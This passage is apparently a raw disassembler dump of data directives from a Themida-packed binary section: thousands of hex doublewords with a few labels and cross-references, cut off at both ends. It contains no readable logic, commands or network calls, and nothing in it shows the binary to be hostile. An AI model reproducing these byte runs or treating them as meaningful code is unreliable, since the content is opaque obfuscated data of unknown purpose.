3B6D933h, 75B1325Ah dd 1C1EDD09h, 83C45F9h, 1616D498h, 57B138BFh, 83687856h dd 0D5FECEF4h, 157B69ADh, 72373D85h, 0DAB13256h, 0D6D75336h dd 56EA539Dh, 37E9CA0Fh, 0CBD0FCDDh, 0D5B13ABEh, 0B76C8456h dd 3D75B837h, 830B5444h, 0B5E26DD9h, 0AEB13245h, 559127h dd 0E4A920A1h, 979AAA9Ah, 3ED5D6C4h, 2E428F6Eh, 4672530Fh dd 0E2085203h, 2F826612h, 0FB75FD95h, 473A5310h, 0D5BAB959h dd 0EC583256h, 0CCB13256h, 0BF71CD96h, 4B383DD2h, 0A1B13256h dd 57B122D0h, 0ABBADB56h, 9ADB3256h, 7154058h, 56355E2Fh dd 0BAB1DACDh, 0DCEB3256h, 444615BCh, 5D58CA51h, 74B13256h dd 2E592C0Dh, 600744F5h, 7F5852C5h, 0B7B13256h, 0B21DCB8Ch dd 0EFF750E4h, 420BBFFFh, 0A4B6D8FBh, 0D5B120D3h, 52D75256h dd 73590ED9h, 0BAB13256h, 560677FBh, 57D06B61h, 58B977DDh dd 0ABB13FDCh, 0A20F5256h, 0E585F332h, 75B132D4h, 0BD385356h dd 5DB138BFh, 0B97C2456h, 82D0BCE8h, 2022D7CDh, 53BE3E13h dd 0EAB1324Fh, 75B126BFh, 0ED307756h, 3AE5195Ch, 0A3A787A8h dd 351CE9Bh, 9480688Ch, 57BE5213h, 0EAB13254h, 0B43BEDDDh dd 0BEF6BB37h, 5DB13EBFh, 3C0C2356h, 0A9261413h, 356DE533h dd 0C5F4B92Fh, 0E6F6BBAEh dd 61F4B9AAh, 0BABFB559h, 54583256h, 5FB13256h, 0FC3233CDh dd 0F8FBF5CBh, 0B5A175DFh, 3D6BB3AAh, 14C2B22Ch, 0AF383D37h dd 0B4B13256h, 0AEB13246h, 93EF3458h, 47DB078Ah, 6624CA0Fh dd 0C0EECE44h, 7D3C3D9Fh, 0B5B13256h, 5DB130D2h, 6CD05256h dd 0DABE3246h, 0ABB13257h, 58BE52A3h, 0EAB1325Eh, 75B3BA59h dd 0DBD13256h, 719CB790h, 0CEF635B2h, 6170E3D7h, 0A7587D1Fh dd 5DB13256h, 0AA65DE21h, 3504EAA8h, 0DB0A8D9Fh, 4AC2283Eh dd 25D752FEh, 57BDDBAEh, 0A7863256h, 0A99F7E79h, 0EEEFF43Eh dd 8AD0705Dh, 5E9073E3h, 5DBADB51h, 3C063256h, 0FE409051h dd 0CC09AEDCh, 7234BF54h, 0E5B6D5E6h, 75B133D2h, 6A4ECB56h dd 5DB9B059h, 21BE3256h, 57B13254h, 0A4E35336h, 0D5B133D0h dd 603CCE56h, 725B9CD3h, 5D752AFh, 0CD06743h, 0AEB122BFh dd 4F956256h, 52EA92F7h, 0F7ECA95h, 7185A195h, 9C61CD2Ch dd 0BAB1325Ah, 55ADC9B5h, 0F5AACB95h, 0D56D897Ch, 4930520Ch dd 8717F9D4h, 6F33BF37h, 9CB6D8F8h, 0BAB13246h, 98F153A5h dd 5304AD88h, 9F775891h, 0C6198A51h, 0D9F18559h, 0EAB13ABFh dd 948DBC56h, 0A425D953h, 5269B945h, 0AEB133D8h, 0A2E3CA56h dd 0BB580359h, 58B13256h, 0BB6897C7h, 6E7B33E6h, 0E29DD24h dd 71D3BCFh, 68063D36h, 57B138BFh, 901F9656h, 8BAFAB35h dd 8B20DFBAh, 0FBBEF155h, 0BAB1325Eh, 5DB3B459h, 0CFD13256h dd 7200B0DFh, 0CA4935B2h, 0D5BCB059h, 0E2583256h, 0C7B13256h dd 249062B8h, 9E522C72h, 0A9383DAEh, 58B13256h, 0B133DFh dd 0E951F900h, 11h, 870E0A20h, 1830D41Ch, 8213DFDDh, 4D264B51h dd 8E0F52F6h, 0Ch, 68D0Fh, 880F0000h, 0 dd 0E8h, 0EA815A00h, 7EAF9C6h, 6E960h, 0F92A0000h, 9133D8DCh dd 61CA8B66h, 6E9h, 75055300h, 609DD382h, 0B7D68166h, 52FC61F7h dd 8840Fh, 0F600000h, 83h, 8BFC6100h, 0E425B182h, 15800F07h dd 0F000000h, 0F8Ch, 0AE900h, 6BFE0000h, 37D431A1h, 697B34B3h dd 0C64E6DB9h, 0E1F7F841h, 0C1BE6660h, 61F78BF2h, 13E9605Ah dd 90000000h, 79425039h, 5CF1DFCBh, 101A5826h, 765AA1D2h dd 0B86672DFh, 56194BBh, 3039h, 168C0Fh, 8A0F0000h, 10h dd 0BE9h, 2205400h, 0E7BC342h, 0D91067E6h, 0FFFFFF25h dd 18890F7Fh, 0E9000000h, 13h, 2C925A45h, 2A23C56Fh, 8992B9B3h dd 8D0948E1h, 89C9E9A7h, 0E425B182h, 1830F07h, 0F5000000h dd 0E181605Ah, 9F4F0C5h, 6474BB66h, 820F5961h, 7, 1820Fh dd 0C3F80000h db 0F5h byte_5F1F49 db 51h, 60h, 0Fh ; DATA XREF: Themida_:00585188o dd 286h, 61A2B500h, 8B666052h, 0E861FCF9h, 0 dd 0D5EA815Ah, 6007EAFAh, 840F60h, 61000000h, 9C0DE781h dd 0F614AC0h, 1087h, 0BE900h, 0AC9B0000h, 0D8CB2411h, 0DDF60AF8h dd 0E9C88B1Dh, 14h, 59824B5Dh, 2895586h, 0D977CB51h, 0EC9182D3h dd 28D55C2Eh, 0FFFE75E8h, 820FFCFFh, 17h, 12E9h, 8A8CD200h dd 984E1C01h, 0A3FF59CDh, 0D3F4691Ah, 3345390Fh, 816660D2h dd 61EBA8DBh, 8B0FF1F7h, 7, 1860Fh, 8BF80000h, 605AF5C2h dd 5B616050h, 61FBB70Fh, 60C3F859h, 880Fh, 8B610000h, 0C9B260C0h dd 6E8h, 0E7B04700h, 0FC67BBBh, 81h, 0E9615A00h, 0Ah, 0D4F6B339h dd 36B4CF52h, 0C08B2B99h, 0C860Fh, 820F0000h, 6, 810Fh dd 858D0000h, 7EAC370h, 11850Fh, 0CE90000h, 58000000h dd 9C601D85h, 58AE83AEh, 0FFBBD292h, 98C0FD0h, 60000000h dd 66FAB70Fh, 61DB03BBh, 60C18B66h, 38D0Fh, 0BF0F0000h dd 61FB8BCAh, 0F997858Dh, 8B0F07EAh, 4, 61FA8B60h, 279D8589h dd 850F07E4h, 7, 0F616060h, 8D61DABFh, 0EAFABE85h, 0EE907h dd 0AE230000h, 4CE839B8h, 0A1F4411h, 83ADDE63h, 2CFD8589h dd 10E907E4h, 49000000h, 0F2588E37h, 3F090A4Dh, 1519DAADh dd 0F886C289h, 0B8h, 800FFC00h, 1Ah, 14860Fh, 0FE90000h dd 86000000h, 2A543040h, 664E82FEh, 0F479A5F1h, 0C00B8B23h dd 127840Fh, 0C6FC0000h, 0E42C2D85h, 0E8605607h, 6, 474AC343h dd 0E4807633h, 0FA8A5FEBh, 30DF6861h, 0E960A9C5h, 8, 7737F00h dd 0BFC778BDh, 61F28B66h, 2141B5FFh, 8E907E4h, 30000000h dd 7177F341h, 8DD541BAh, 0E7B0A785h, 178D0F07h, 0E9000000h dd 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh, 0D0FF26A4h dd 8DF950F8h, 0E426C18Dh, 0F951F907h, 0AE9046Ah, 34000000h dd 198CD795h, 0DB3B86C7h, 100068FBh, 0FFF80000h, 0E415DDB5h dd 0D0FFF907h, 18E0Fh, 0FF80000h, 184h, 0BD8BF900h, 7E415DDh dd 0C2BF0F60h, 0CE961h, 8D0F0000h, 0D81FA2DDh, 0C1E7669Ch dd 7F03E409h, 6060F83Ch, 0A7B7D081h, 59521F82h, 47BB5761h dd 59578BCDh, 0F8C78161h, 60000000h, 68F0Fh, 8C0F0000h dd 0 dd 0C761FB8Bh, 202447h, 850F6000h, 1Bh, 158B0Fh, 10E90000h dd 6000000h, 41016941h, 322908D2h, 0CDA0E3BEh, 0E9E31071h dd 0Dh, 44C58649h, 956F7C83h, 316951D0h, 59D8DECh, 0E907E404h dd 14h, 773DDE33h, 0FA99770Bh, 0E907DF31h, 0CF0F3969h dd 4F152F0Bh, 98E0Fh, 53600000h, 22D2BF5Ah, 8B615B97h dd 0E960F503h, 9, 0AB789176h, 0E54A2930h, 2800F6Ch, 8B000000h dd 0C00B61D0h, 43840Fh, 0B5600000h, 0E961F93Ah, 5, 6A51938Eh dd 60008BA0h, 13E960h, 31190000h, 0B7629DBCh, 4DB230CEh dd 0D362A14Ah, 0B3FAB37Dh, 81666109h, 611641D6h, 0D781F560h dd 1BD275E1h, 4438961h, 0DEB70F60h, 4CF6B961h, 8D8D0023h dd 7EAFEB4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 65C35242h, 4D5ACE41h, 23720762h, 6850Fh, 0BD8B0000h dd 7E40DB9h, 53D8B70Fh, 718D895Eh, 3307E41Bh, 0E4140D85h dd 0A185C707h, 0B007E42Dh, 0F000059h, 38Ah, 0D88B6600h dd 22B985C7h, 7E4h, 9D890000h, 7E41D55h, 2291B5FFh, 0FE8B07E4h dd 306195FFh, 0B58907E4h, 7E40A11h, 95FF006Ah, 7E40E41h dd 6FEBC08Bh, 1BA9B049h, 97030C6Bh, 496705B5h, 52F3A68Bh dd 578DB984h, 0FA4E6EE6h, 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h dd 0E451A599h, 37F7625Dh, 314DC37Ch, 3664DE08h, 3893449h dd 0EAD71302h, 4A7CF0C5h, 72EC157Ah, 852F3BAAh, 0CE6CBB1Ah dd 1980141Fh, 68A80D53h, 0EAF4BA02h, 0DA267E44h, 59327264h dd 17FA4F96h, 0B2AD8715h, 6CE3528h, 8D912D1Eh, 0EB00088Dh dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0EA91F8E5h, 5E8BFh, 0E6EE0000h, 8B171F47h dd 0E40A5DB5h, 0D4BB5A07h, 8948A04Eh, 0E41B718Dh, 0C7C68B07h dd 0E42DA185h, 633407h, 0CA816600h, 85C75C10h, 7E422B9h dd 0 dd 0AE860h, 0FDDB0000h, 9B1B399Dh, 962158B3h, 19159D8Bh dd 35807E4h, 0E41C75BDh, 0B5FF6107h, 7E40E15h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0F1C35646h, 0A50B192h dd 6049F6DEh, 58C88A51h, 0F555B7BBh, 95FF6105h, 7E43061h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A2C35343h dd 68093D90h, 5E56046Dh, 95FF006Ah, 7E40E41h, 5EEBC08Bh dd 36A8FB0Fh, 2743F575h, 4A60BB5Eh, 0F6A8BBE6h, 0CD298D23h dd 0CD3D6C60h, 0E0D863ACh, 0E6E88350h, 0F987A1A9h, 0AD7AB257h dd 3E8B2167h, 0B09BFACBh, 3DBCD1EBh, 0CB6DF99Dh, 0A1EC12C3h dd 0B9125EECh, 0DE2AB413h, 3EEAB696h, 5C0E9114h, 6F3BEA35h dd 0E4AF1D1Ah, 13FDE9A3h, 3D33A4B8h, 0DE8D73Ah, 9D000000h dd 0FE88F876h, 0E7C01150h, 0B287548Bh, 6830Fh, 85890000h dd 7E40065h, 9BB8665Bh, 0B7C38178h, 8900006Dh, 0E422C985h dd 73CEBA07h, 0F2811DEBh, 1DEB6884h, 139E2FBEh, 8B0B8B63h dd 0E40FA1BDh, 6F18107h, 662C3A9Eh, 20D7D881h, 20ABC181h dd 0BD893575h, 7E41BD1h, 0ECB6F181h, 0B8660B81h, 8A514CB9h dd 89038FE5h, 0E40939BDh, 89EB8107h, 6624B90Ch, 0C381F88Bh dd 24B90C85h, 9075B866h, 1EA81h, 850F0000h, 0FFFFFFADh dd 6F9858Bh, 0CE807E4h, 17000000h, 0BE1FD8B8h, 0FA01546h dd 8B278E4Ch, 0E431CD95h, 60535E07h, 867BE781h, 0E2800AACh dd 815B6157h, 6736C6h, 3946B900h, 9BB83CEAh, 0F000019h dd 28Dh, 0FF25B300h, 0B5B53136h, 5F07E421h, 0F78104B1h dd 0D923BA2h, 2D599D89h, 0C78107E4h, 0F049B44h, 0C781D4B2h dd 10AEF376h, 57DBB70Fh, 991958Bh, 68F07E4h, 0DABF0F57h dd 4EE835Ah, 18D0Fh, 83F50000h, 850F01E8h, 1Ch, 18B18D89h dd 42E907E4h, 0E6000000h, 1BF32575h, 4B2013E5h, 5A09BF67h dd 483B1DCEh, 0CE8h db 0 byte_5F2635 db 74h, 0F6h, 17h ; DATA XREF: Themida_:005851E4o dd 0C0B43181h, 79731960h, 0A58589BAh, 5B07E425h, 0FFFF7EE9h dd 8C349FFh, 0B654AC30h, 0B06DFC88h, 270F81CDh, 417F9EAAh dd 12E8A0h, 76500000h, 28D94AD5h, 4FFCA2h, 0BDCA5BFBh dd 0F80CD2DDh, 8F0Fh, 29590000h, 0E405819Dh, 91C18107h dd 0E900005Bh, 0Ch, 1D071372h, 0AB70E7Ah, 0A7B5E98Bh, 16B1B8h dd 820F6000h, 6, 2B618D29h, 958907E4h, 7E400A9h, 8B31FF61h dd 0E4224DB5h, 81605B07h, 0D46CADD2h, 0C985895Eh, 6107E40Eh dd 0B368F381h, 0F48A7903h, 4130F381h, 0F7811788h, 485C7B9Ah dd 5CCF381h, 950938AEh, 7E41F39h, 0B5291989h, 7E41ECDh dd 6604E983h, 0E881F98Bh, 1, 1E850Fh, 810F0000h, 0 dd 26E9h, 75358900h, 6BB49232h, 0C1CC46F7h, 9FA94C80h dd 0DEE24596h, 2025B589h, 86E907E4h, 0C8FFFFFFh, 0ABF85F9Ah dd 8D5EDBB0h, 0EB03028Dh, 918D8907h, 8907E426h, 0E41B718Dh dd 39958907h, 8907E427h, 0E4064D95h, 0A185C707h, 0B407E42Dh dd 1000069h, 0E42A119Dh, 0B985C707h, 7E422h, 0B000000h dd 0E42D099Dh, 19B5FF07h, 6607E409h, 0B652C381h, 306195FFh dd 6A07E4h, 0E4195FFh, 0C08B07E4h, 0A3585EEBh, 63CD2A3Dh dd 538329CBh, 78B3BB5Fh, 0D8DE146Dh, 321AC215h, 0A4C98731h dd 2CA821F2h, 0E753CBDDh, 16C7A964h, 0CAC1B62Fh, 7B6B88DBh dd 17F8BB16h, 49513003h, 78900CDh, 4977BBE3h, 0A79412FBh dd 16407C46h, 352B51E2h, 0D67E746Fh, 3E9696FEh, 0D7115128h dd 37D8A028h, 394C7057h, 4178D8Dh, 89F907EBh, 0E41B718Dh dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0FF728BC5h, 0D6CE0582h, 85C7F88Bh, 7E42DA1h dd 63DCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 0DCC35545h, 0A4C18881h, 617856Ah, 28C0F57h, 8B000000h dd 85C75BC1h, 7E422B9h, 0 dd 539B589h, 0B5FF07E4h, 7E41E8Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 25C35242h, 8101A986h, 7B5B2AFBh dd 306195FFh, 6AF807E4h, 4195FF00h, 8B07E40Eh, 2D1CEBC0h dd 8C739695h, 0CEBE5755h, 8855CF79h, 9B9C5B55h, 0C334BB02h dd 1E934D45h, 0E9B0A0D0h, 2Ah, 0CDD7FBEh dword_5F28CC dd 9 dup(0) dd 0E3E90000h, 6800000Bh, 7EB05DCh, 0FA5A44E9h, 70368FFh dd 3AE907EBh, 68FFFA5Ah, 7EB090Ah, 0FA5A30E9h, 0A6F68FFh dd 26E907EBh, 68FFFA5Ah, 7EB0BB8h, 0FA5A1CE9h, 0D7668FFh dd 12E907EBh, 68FFFA5Ah, 7EB0EA6h, 0FA5A08E9h, 89CF8BFFh dd 3E184156h, 0EE5EF60Bh, 0A2B2A6BBh, 51F95A6Fh, 7CC1EA1Eh dd 2B4073D7h, 0DEF3262Ch, 90A5D878h, 0F15689C5h, 9274A487h dd 0C5792400h, 327CD9C4h, 96E02921h, 65A9A7AFh, 286CE472h dd 78788CD5h, 7CA1CE49h, 0DACD4172h, 98A0D37Bh, 49307A76h dd 950F400Ah, 0FA776FB2h, 0E3273423h, 0FA54C0F4h, 0BA952823h dd 5E59FEAEh, 407D5Ah, 39810000h, 0FA5D2656h, 32152323h dd 23FA5D02h, 80B1FA07h, 0C8C0E601h, 979C9B7Eh, 0D27F23F9h dd 3487CB83h, 84B8A7EBh, 0EC23F997h, 7AD40618h, 0FA99593Ah dd 0A3BF90C9h, 5A5E13CBh, 0D270h, 7CD96F00h, 0B89B8ED2h dd 0FA5B4E92h, 381D1054h, 6CD2E316h, 5F1C1593h, 102558F6h dd 0DFC50945h, 0ADDDC0C9h, 0B21C1592h, 2F125CA5h, 23F9A774h dd 81F72A37h, 9F265639h, 162323F9h, 0F8292B2Dh, 84CEDAECh dd 0E111F43Ch, 0DE23F99Eh, 478BA0D1h, 4C2BE088h, 4E97B59Fh dd 1A3C1D04h, 0D85283D6h, 9EE862F1h, 83B4A2B7h, 62480B20h dd 21135CF4h, 0C2A659DEh, 0D1252246h, 0B5000009h, 6B80B3A5h dd 203568EEh, 0D0E51834h, 8499CC88h, 14487BCFh, 9DADA6B7h dd 5002556Ah, 24E081Dh, 0B39BBACFh, 0CEB11B80h, 2400939Eh dd 78E6E79Bh, 8F1D4D30h, 15221C15h, 0A3D82D01h, 2D5E573Dh dd 0D80B3F14h, 89BC92C3h, 24282C13h, 42E3C2E0h, 0D72206E9h dd 78DE5D8Eh, 5C8DC791h, 4E313E50h, 1C158F1Eh, 7BC50E1Bh dd 0F9979998h, 45899623h, 0F9982256h, 0A0B2A523h, 60EA695Ch dd 0D877121Ch, 3B14A7ABh, 5EAA7F2Fh, 0F7DA225Ah, 23F993C7h dd 0E686B7C4h, 0D0h, 327CD9E5h, 99E32C24h, 78A9A1B2h, 0D99EB004h dd 32402F4Ch, 8CC7E011h, 0A3AADABDh, 76021C15h, 0F4D2DC98h dd 16441C83h, 3BC2FC44h, 76E1CA13h, 0FC4598DCh, 485264B8h dd 24523E0Dh, 9357BD38h, 68B17B60h, 63BC2237h, 262F1C16h dd 75E0F528h, 99AF95D9h, 0F9604791h, 95C6195Dh, 777D381Bh dd 853223FAh, 63982D4h, 96E0E8FEh, 0E1355EB3h, 0FA44512Bh dd 0CC104613h, 0E7CE4879h, 96ABDE6Ch, 5A9B8DBDh, 0C6C2A72Dh dd 8AAA5A2h, 7EDC0000h, 0C792A7DAh, 0D475C8Fh, 61F70C3Fh dd 0A8ABC0F3h, 903B6FA2h, 91C486CDh, 4477DB7Ch, 0F629272Fh dd 0A7DA74E1h, 0C5F5D842h, 0CA240095h, 7AD91516h, 15279DD0h dd 0FBA11A2Bh, 0D2EB1C94h, 1D98CB83h, 80077CD9h, 0BC1C06F8h dd 2529593Ch, 19261C16h, 0EF4387D0h, 2494C4A7h, 40171C16h dd 147BCE12h, 98BDD607h, 557B83B6h, 2530135Dh, 0EA23FA3Eh dd 0AFA699DDh, 0FE576C9Fh, 0D1B80C50h, 0BAEACD88h, 0BF23FA1Dh dd 0D22569B2h, 40798CA1h, 59FCAB40h, 95BEB1F5h, 0C7104215h dd 71DE7983h, 0A0B29A14h, 8E631AEDh, 0E51E4F74h, 0ABD87D6Ah dd 0EBC16E4Bh, 1963AC75h, 0BC632632h, 88D89260h, 196CB0F9h dd 0FD0F85E8h, 489CE436h, 3F588955h, 5F43816h, 9CB880D2h dd 6683CC11h, 0B62C5FEFh, 272C8ACFh, 438CDF23h, 0F25CF912h dd 8088BFAEh, 0B5A19CB8h, 0F464579Bh, 0E5C81C60h, 9B729BB5h dd 209FADBAh, 3E6E512Fh, 3B9B729Ch, 5DD2E52Eh, 0EE60F5F2h dd 9FAFA6BBh, 5753755Bh, 53B3C50Dh, 474C39F5h, 48C7DC0Dh dd 0E3A357AEh, 0EB2F1F36h, 4AE48498h, 0B1CAE06Ah, 1F371E68h dd 959D0031h, 4A2D7773h, 9CB3132Bh, 0F0DF2330h, 9B72D2BDh dd 26095125h, 9B72D2F6h, 3E0E46F3h, 755EA7FAh, 53E6FE1h dd 0DB4E1E4Ah, 0F5ED22E7h, 0EC000003h, 8EC89178h, 0FCB1AD5Dh dd 0E62113EAh, 9D207CA7h, 20270A54h, 0B23F9C4h, 89CDB4FEh dd 0FF3083C7h, 85DACE59h, 0C4EAA508h, 0E3272B2Ch, 0B5FD4790h dd 85A2D2h, 1E3025A3h, 132087DAh, 928568E2h, 32AAE4A7h dd 64D707EAh, 0C7D49D24h, 252FF96h, 0D7BD014Ah, 5D6FB9B1h dd 0AACF9EF9h, 57876A77h, 549D23E7h, 0D1B4FE47h, 9D23E6A1h dd 0E660919Eh, 0B977603h, 482B39A5h, 0A2FF7718h, 75BF0815h dd 71E7C78Eh, 52679AE3h, 0A8AEAB03h, 6A9E6D5Fh, 0C2E63BBFh dd 6A3C5h, 0E177E300h, 96C099AEh, 46064E63h, 0FA5AFE13h dd 0A9A1B2C7h, 0D4994276h, 8398CB7Fh, 364B7ED4h, 0E8FD3020h dd 49AEE16Dh, 97CCFCDFh, 1DD12400h, 0C7C0E61Ch, 158EB4E4h dd 63ACB91Ch, 0BEEED119h, 0BB1C158Eh, 8E9ACAADh, 929F1C15h dd 569E1849h, 78739244h, 233EBE2h, 0F9F3E2EDh, 977AC223h dd 23F9E367h, 2A0D5764h, 23F9E3FAh, 2AC1F2FFh, 6AECD31Dh dd 1E4FA2E6h, 0B09EB7AAh, 78D67F66h, 3CB0E134h, 2B0E5632h dd 23F9E3FBh, 0DF0FF200h, 0DC23F9E3h, 1C5586CFh, 0A5ADC333h dd 0D1E5745Bh, 5182CB85h, 0FCE9F4D7h, 919E2BDDh, 75D6E85Eh dd 3905B93h, 5EF71041h, 4658ACF0h, 11C701C1h, 7891C2E1h dd 152771DDh, 0D65A6EF4h, 0E2568713h, 94C6AEFh, 0C5B8FC45h dd 5C79BD8Fh, 0F01B68E7h, 0D4E6A4ABh, 6E45DA4Fh, 0E5FE2FF4h dd 96163E70h, 0F6498DBDh, 0CD1669ADh, 2293B83h, 0F95B8886h dd 6067977Ch, 57641C16h, 54DC326h, 1660F222h, 0B9EAF71Ch dd 0BA714921h, 23EEE5Dh, 0E6ED0000h, 367EC8C0h, 84C0A4Fh dd 7C6F84B5h, 1C240093h, 9E42280Ah, 26572106h, 5138828Fh dd 154802h, 0C4B3F753h, 2400988Fh, 5202563Dh, 614D0821h dd 221559F3h, 88DB1F37h, 0FD04F63Fh, 87CA945Dh, 53E6663h dd 12480000h, 5BFE1346h, 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh dd 4A7DB0Eh, 0FD301A39h, 0B0E36FE8h, 6295BB9Bh, 1346084Dh dd 316144AEh, 2E240099h, 6678797Ah, 0B8CFD3F9h, 1C2859E7h dd 3E16FD0Ah, 9277CA0Eh, 1C15DC62h, 0C7115A67h, 93BF987Fh dd 0E15A4D62h, 0D0DD2400h, 851388Ch, 51041D4Eh, 8CCCB3FDh dd 1F3497C8h, 0E1D41836h, 6196DA74h, 6E55331Ch, 0E0769FEAh dd 170246DCh, 6378ACEh, 0B3E668EDh, 518F4F1Fh, 16AEC5Ah dd 0D9EB0000h, 9B8ED27Ch, 596194BAh, 0EF13B37h, 23F9A2CBh dd 9279C3D0h, 0B2A28BC3h, 6F5699Ah, 23F9A1D2h, 0BCA8A73Ah dd 5A5E8CECh, 70759FB1h, 2F1B6EDBh, 2F5EFEh, 0E65D0000h dd 367EC8C0h, 8EDB0BEEh, 0D3E01C15h, 978E8DA2h, 0C7AE23F9h dd 0FA91C290h, 86BAA9EDh, 0EE23F997h, 2078F45Bh, 475A5EAAh dd 0ABh, 77CD946h, 6E5A00F4h, 0A2E62FF7h, 62F0674Eh, 819ACB1Eh dd 0D17DD8D2h, 6C74A487h, 6C791C16h, 63F2D923h, 5346BAEBh dd 15084C02h, 0CADB0E40h, 1C167164h, 2D60EE67h, 0BD070325h dd 0FD5003DAh, 115B6823h, 0EE21292Ah, 0DED07AD9h, 0BAC31639h dd 0F5423F63h, 91000003h, 475C8FC9h, 0FC114412h, 0ACC1F458h dd 6075A8ACh, 0F02457F3h, 79D182CBh, 2C263146h, 0DE72E4F9h dd 8FBF96ABh, 0AA8DF75Ch, 2400997Ah, 0D9CACB7Fh, 9F86D07Ah dd 5F5296B4h, 0E1125BF9h, 97EC697Eh, 7B7AA814h, 20539C8Bh dd 4F7F62AAh, 4C1C15B1h, 0D98F0E3Fh, 9B8ED27Ch, 0EB6194BAh dd 0BC005404h, 1A2C3869h, 957CC40Eh, 465B8CBEh, 23F9C0C7h dd 24135764h, 23F9BFF2h, 9565EA2Fh, 0E52D7773h, 0BF8ABA9Dh dd 0E28F23F9h, 479ADE76h, 39B8CDFEh, 0F62BDDF1h, 8ED505E8h dd 0CDDA1C15h, 93DB5184h, 158E80B0h, 89D07D1Ch, 0D45384CDh dd 8ED27CD9h, 0C7AAF23Ah, 1C158E97h, 72A28794h, 771C158Eh dd 78D2816Ah, 97B0E134h, 555D90BEh, 0AED3733h, 23F9A2C7h dd 8C7BBFCCh, 23F9A158h, 46222DC0h, 5A5E8C16h, 2915h, 66781400h dd 0D3C656C0h, 4753849Ah, 0FCDF2921h, 23FA4AFDh, 625195A2h dd 23FA492Eh, 204C0396h, 5A5E1948h, 0F6EFh, 7CD9EE00h dd 8EBEEED1h, 1C391C15h, 75BECB32h, 95153E31h, 7CAC8FC2h dd 811C158Eh, 9EE22B74h, 60A4AAABh, 81B6FA0Ch, 9EB87D1Ch dd 6DB1A3B5h, 85D0E91Ah, 1F8596C9h, 0E1C15A5h, 0F3230647h dd 0F81C15A3h, 5A6FA2EBh, 290F53FBh, 0DEC10B07h, 23F9B297h dd 460F4A31h, 0F9AA3363h, 0E22B3823h, 67374B9Eh, 3BF16D5Eh dd 4D5AF122h, 84D4BB03h, 0A0BBEBD0h, 0FADD23F9h, 23F9A0CAh dd 4E5BC2CFh, 5D44BA1Dh, 1A2657F9h, 0CFB2FCF4h, 2BE08AF2h dd 4836956Dh, 0ED57AC9Ch, 0E0735AA4h, 3122376Ah, 62062719h dd 6E92C2A6h, 23771h, 4D0B4F00h, 254051Ah, 0B29ABACFh dd 66EE6A7Fh, 15351E33h, 400DAEE2h, 0EF043713h, 0A2B7EA68h dd 54699CB4h, 0B51A4D01h, 9C38684Bh, 81352400h, 0C5917880h dd 2D9027C0h, 82CB140Ah, 4F93BD99h, 0A1B2CBFCh, 0F46176A9h dd 0E6AC275Ah, 367EC8C0h, 448064Fh, 0C08CC8B1h, 0E3F8297Ch dd 23F997E4h, 2276BAC7h, 6575EF10h, 467718A6h, 0F9BFFD31h dd 7DD26523h, 5E92B9F1h, 59FDE45Ah, 0E26C6F7h, 25000001h dd 8BC59178h, 8F2E5E41h, 1E2B1C15h, 0CD81D4EDh, 685A7183h dd 0C161B0B0h, 4071BA94h, 0D07AD9CCh, 9426388Ch, 0B1E1C4C7h dd 0AE1C15FEh, 9EEB8DA1h, 80E6FB2Ch, 6B1C164Ah, 0BB3164EAh dd 33B2DDA9h, 0C9FAEF59h, 65A9A5B0h, 6696697Fh, 0E978EC7Bh dd 23065099h, 23F9DFDCh, 0FF5105ECh, 0A03768BBh, 36586093h dd 0DB265639h, 0E57623F9h, 0A3A86B00h, 0ACF50269h, 20331A62h dd 6293E62Ah, 0E080114Dh, 6FE9962Bh, 54EA1E5h, 7C6173BBh dd 0B3F9521Eh, 350699Ah, 4016FD47h, 202E2710h, 0DC778CEFh dd 3AA77C6Eh, 0E90DC2A7h, 107ECh, 7DDB7F00h, 3224354Ah dd 0E26AEAFFh, 96BE9AAFh, 45054E63h, 70FDDE12h, 1F3467E3h dd 0D2E71A38h, 8499CC84h, 0E54A7DD1h, 9C68987Bh, 0B1652400h dd 0C69178B0h, 8E78A88Bh, 68751C15h, 7ED5EE1Fh, 0D18499CCh dd 0F5D87BDDh, 1C158EC5h, 3074BDCAh, 80B093DDh, 7D1C158Eh dd 0F6DD2770h, 5ABDEE5Eh, 0D27CD9DFh, 2D5D4088h, 321C158Fh dd 8D80F425h, 4B5386C8h, 19492C25h, 941C158Fh, 1C2990C4h dd 8EBFEFD2h, 0AFBC1C15h, 42391C66h, 0ED240093h, 0ACA99CE0h dd 0FB5A6FA2h, 12200F53h, 0F82F3702h, 74E1FE51h, 0C392A7DAh dd 0F977A78Ah, 677428F2h, 0FA0A3A1Dh, 20F28F2h, 0D68275B9h dd 9EC347Eh, 28F2F9D9h, 2498C9D6h, 0B2D07F1Ah, 3E7AC8A0h dd 4071B1A0h, 0D6202E27h, 267BAB8Eh, 738028F3h, 8BCADF42h dd 0D76779C3h, 0E06CE86Ch, 24951CCh, 5189FBEEh, 8BBCE51Bh dd 78DCC317h, 0C3D90D4h, 3E9h, 3A69EE00h, 93D781D9h, 5599B5A0h dd 185CF462h, 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h dd 0E226262Eh, 0A8EC6AEFh, 4EC816Ah, 89000000h, 89512434h dd 4C181E1h, 83000000h, 0C8704E9h, 0C895C24h, 39936824h dd 2C890000h, 0FBBE5624h, 8341B419h, 0F681FFC6h, 0BD61945h dd 8106EEC1h, 0C28CB0F6h, 5EF18906h, 242C8B54h, 6804C483h dd 3C49h, 0BB241C89h, 8, 0B89EB01h, 242C8B5Bh, 81E28952h dd 4C2h, 4C28300h, 5C241487h, 592434FFh, 4C481h, 6EE90000h dd 75FFFA4Eh, 0D2B881F8h, 307EB0Fh, 80E0FFC5h, 0AA7E9D26h dd 611F8113h, 59626496h, 5B22BDE5h, 0C04726FFh, 0C10144AAh dd 0AC3A14B8h, 972C9470h, 3448C42Ah, 8F30A0AAh, 0C11A35DAh dd 61650547h, 462D2DBDh, 60269FAh, 4611614Dh aVs db 'ΝΌvι%',0 ; DATA 